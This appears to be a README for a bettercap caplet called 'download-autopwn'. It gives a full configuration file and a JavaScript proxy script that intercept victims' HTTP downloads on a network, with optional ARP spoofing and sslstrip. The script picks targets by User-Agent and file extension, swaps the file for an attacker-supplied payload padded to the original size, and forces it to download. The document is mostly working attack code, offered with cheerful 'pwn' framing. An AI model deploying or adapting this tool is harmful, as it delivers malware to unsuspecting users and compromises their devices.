186 lines
7.8 KiB
Markdown
186 lines
7.8 KiB
Markdown
<p align="center"><img height="142px" src="https://cdn.rawgit.com/yungtravla/cdn/a5ec3cd7/github.com/bettercap/caplets/download-autopwn/dap.svg" /></p>
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### caplets/download-autopwn.cap
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Everything is configurable in the **download-autopwn.cap** file.
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```sh
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# documentation can be found at https://github.com/bettercap/caplets/blob/master/download-autopwn/README.md
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#
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# this module lets you intercept very specific download requests and replaces the payload with one of your choice
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#
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# in order for a download to get intercepted:
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# 1. the victim's user-agent string must match the downloadautopwn.useragent.x regexp value
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# 2. the requested file must match one of the downloadautopwn.extensions.x file extensions
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#
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# you can find the downloadautopwn.devices in the caplets/download-autopwn/ folder (you can add your own)
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#
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# choose the devices from which downloads get pwned (enter the dir names of choice from caplets/download-autopwn/)
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# (or feel free to add your own)
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set downloadautopwn.devices android,ios,linux,macos,ps4,windows,xbox
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# choose the regexp value that the victim's User-Agent has to match
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# (feel free to add your own)
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set downloadautopwn.useragent.android Android
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set downloadautopwn.useragent.ios iPad|iPhone|iPod
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set downloadautopwn.useragent.linux Linux
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set downloadautopwn.useragent.macos Intel Mac OS X 10_
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set downloadautopwn.useragent.ps4 PlayStation 4
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set downloadautopwn.useragent.windows Windows|WOW64
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set downloadautopwn.useragent.xbox Xbox
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# choose which file extensions get intercepted and replaced by your payload on specific devices (payloads are in caplets/download-autopwn/.../)
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# (again, you can add as many as you want)
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# make sure the payload files exist and that they are all named "payload" (for example: payload.exe)
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set downloadautopwn.extensions.android apk,pdf,sh,pfx,zip
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set downloadautopwn.extensions.ios ipa,ios,ipb,ipsw,ipsx,ipcc,mobileconfig,pdf,zip
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set downloadautopwn.extensions.linux c,go,sh,py,rb,cr,pl,deb,pdf,jar,zip
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set downloadautopwn.extensions.macos app,dmg,doc,docx,jar,ai,ait,psd,pdf,c,go,sh,py,rb,pl,terminal,zip
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set downloadautopwn.extensions.ps4 disc,pup,pdf,doc,docx,zip
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set downloadautopwn.extensions.windows exe,msi,bat,jar,dll,doc,docx,swf,psd,ai,ait,pdf,rar,zip
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set downloadautopwn.extensions.xbox exe,msi,jar,pdf,doc,docx,zip
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# choose whether the proxy module resizes your payload to the requested file's size (if not set then default=false)
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set downloadautopwn.resizepayloads true
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# set download-autopwn.js as proxy script
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set http.proxy.script caplets/download-autopwn.js
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# uncomment if you want sslstrip enabled
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# set http.proxy.sslstrip true
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# start proxy
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http.proxy on
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# wait for everything to start properly
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sleep 1
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# uncomment if you want arp spoofing (make sure probing is off as it conflicts with arp spoofing)
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# arp.spoof on
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```
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<br>
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The `downloadautopwn.devices` variable accepts comma separated values.
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<br>
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These values are the folder names inside the **caplets/download-autopwn/** directory.
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<br>
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The `downloadautopwn.useragent.x` variables accept a regular expression value (where `x` is the device name).
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<br>
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The victim's User-Agent string has to match this regex value.
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<br>
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The `downloadautopwn.extensions.x` variables accept comma separated file extensions that are present in the device's folder (where `x` is the device name).
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<br>
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These files must be present in the device's folder, and they must be called `payload` (for example: `payload.exe`).
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<br>
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The `downloadautopwn.resizepayloads` variable accepts a boolean value (default=false).
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<br>
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If this value is set to true, your payloads will be resized to match the requested file's size (unless your payload is bigger or equal to the requested file's size).
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<br>
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### caplets/download-autopwn.js
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No changes should have to be made in the **download-autopwn.js** file.
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```javascript
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var targets = {}
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var nullbyte = "\u0000"
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var green = "\033[32m",
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boldRed = "\033[1;31m",
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onRed = "\033[41m",
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reset = "\033[0m",
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redLine = "\n " + onRed + " " + reset
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function onLoad() {
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devices = env("downloadautopwn.devices").split(",")
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logStr = ""
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for (var i = 0; i < devices.length; i++) {
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item = {
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"device": devices[i],
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"useragent": env("downloadautopwn.useragent." + devices[i]),
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"extensions": env("downloadautopwn.extensions." + devices[i]).toLowerCase().split(",")
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}
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targets[i] = item
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logStr += "\n " + green + targets[i]["device"] + reset +
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"\n User-Agent: " + targets[i]["useragent"] +
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"\n Extensions: " + targets[i]["extensions"] + "\n"
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}
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log("Download Autopwn loaded.\n\nDownload Autopwn targets: \n" + logStr)
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}
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function onResponse(req, res) {
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// First of all check whether the requested path might have an extension (to save cpu)
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var requestedFileName = req.Path.replace(/.*\//g, "")
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if ( requestedFileName.indexOf(".") != -1 ) {
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var userAgent = req.GetHeader("User-Agent", ""),
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extension,
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headerCount = req.Headers.length
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// Iterate through targets
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for ( var t = 0; t < Object.keys(targets).length; t++ ) {
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// Check if User-Agent is a target
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regex = new RegExp(targets[t]["useragent"])
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if ( userAgent.match(regex) ) {
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// Iterate through target extensions
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for (var e = 0; e < targets[t]["extensions"].length; e++) {
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// Check if requested path contains a targeted extension
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// function endsWith() could be a nice simplification here
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if ( requestedFileName.replace(/.*\./g, "").toLowerCase() == targets[t]["extensions"][e] ) {
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extension = targets[t]["extensions"][e]
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// Autopwn
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logStr = "\n" + redLine + " Autopwning download request from " + boldRed + req.Client.IP + reset +
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redLine +
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redLine + " Found " + boldRed + extension.toUpperCase() + reset + " extension in " + boldRed + req.Hostname + req.Path + reset +
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redLine +
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redLine + " Grabbing " + boldRed + targets[t]["device"].toUpperCase() + reset + " payload..."
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// Check requested file size
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requestedFile = res.ReadBody()
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requestedFileSize = requestedFile.length
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payload = readFile("/usr/local/share/bettercap/caplets/download-autopwn/" + targets[t]["device"] + "/payload." + extension)
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payloadSize = payload.length
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logStr += redLine + " The size of the requested file is " + boldRed + requestedFileSize + reset + " bytes" +
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redLine + " The raw size of your payload is " + boldRed + payloadSize + reset + " bytes" + redLine
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// Append nullbytes to payload if resizing is enabled and if requested file is larger than payload
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if ( env("downloadautopwn.resizepayloads") == "true" && requestedFileSize > payloadSize ) {
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logStr += redLine + " Resizing your payload to " + boldRed + requestedFileSize + reset + " bytes..."
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sizeDifference = requestedFileSize - payloadSize
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nullbyteString = Array(sizeDifference + 1).join(nullbyte)
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payload += nullbyteString
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}
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// Set Content-Disposition header to enforce file download instead of in-browser preview
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res.SetHeader("Content-Disposition", "attachment; filename=\"" + requestedFileName + "\"")
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// Update Content-Length header in case our payload is larger than the requested file
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res.SetHeader("Content-Length", payload.length)
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logStr += redLine + " Serving your payload to " + boldRed + req.Client.IP + reset + "...\n"
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log(logStr)
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res.Body = payload
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}
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}
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}
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}
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}
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}
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```
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<br>
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### Now you're all set to pwn!
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#### What it looks like when you have configured a crazy amount of payloads
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#### What it looks like when you pwn someone's download >:-)
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Have fun!
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